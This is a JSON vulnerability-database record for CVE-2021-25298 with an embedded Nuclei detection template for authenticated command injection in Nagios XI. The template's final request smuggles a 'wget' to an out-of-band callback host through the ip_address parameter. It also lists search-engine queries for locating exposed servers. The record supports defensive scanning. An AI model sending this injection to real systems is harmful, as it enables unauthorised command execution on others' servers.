{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-25298/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-25298/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-25298/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-25298/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-25298/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-25298"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-25298"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2021/CVE-2021-25298.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2021-25298\n\ninfo:\n  name: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection\n  author: k0pak4\n  severity: high\n  description: |\n    Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary commands on the target system.\n  remediation: |\n    Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.\n  reference:\n    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md\n    - https://github.com/rapid7/metasploit-framework/pull/17494\n    - http://nagios.com\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-25298\n    - http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2021-25298\n    cwe-id: CWE-78\n    epss-score: 0.75148\n    epss-percentile: 0.99487\n    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: nagios\n    product: nagios_xi\n    shodan-query:\n      - title:\"Nagios XI\"\n      - http.title:\"nagios xi\"\n    fofa-query:\n      - title=\"nagios xi\"\n      - app=\"nagios-xi\"\n    google-query: intitle:\"nagios xi\"\n  tags: cve2021,cve,packetstorm,oast,authenticated,msf,nagiosxi,rce,kev,nagios,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /nagiosxi/login.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /nagiosxi/login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}\n      - |\n        GET /nagiosxi/index.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        @timeout: 20s\n        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20{{interactsh-url}}%3b HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body_4\n        words:\n          - \"Connection Information\"\n          - \"Host Check\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: nsp\n        group: 1\n        regex:\n          - \"name=['\\\"]nsp['\\\"] value=['\\\"](.*)['\\\"]>\"\n        internal: true\n        part: body\n\n      - type: regex\n        name: nsp_auth\n        group: 1\n        regex:\n          - \"var nsp_str = ['\\\"](.*)['\\\"];\"\n        internal: true\n        part: body\n# digest: 4a0a0047304502201cacb1af385ad5d1275152a536d25879e8d50f31ef15b764174313b7b82065a0022100f43d22e82bf43be64e44cb18657774f47336f2139ea5e7f77b716f19248f34d4:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2021-25298"
}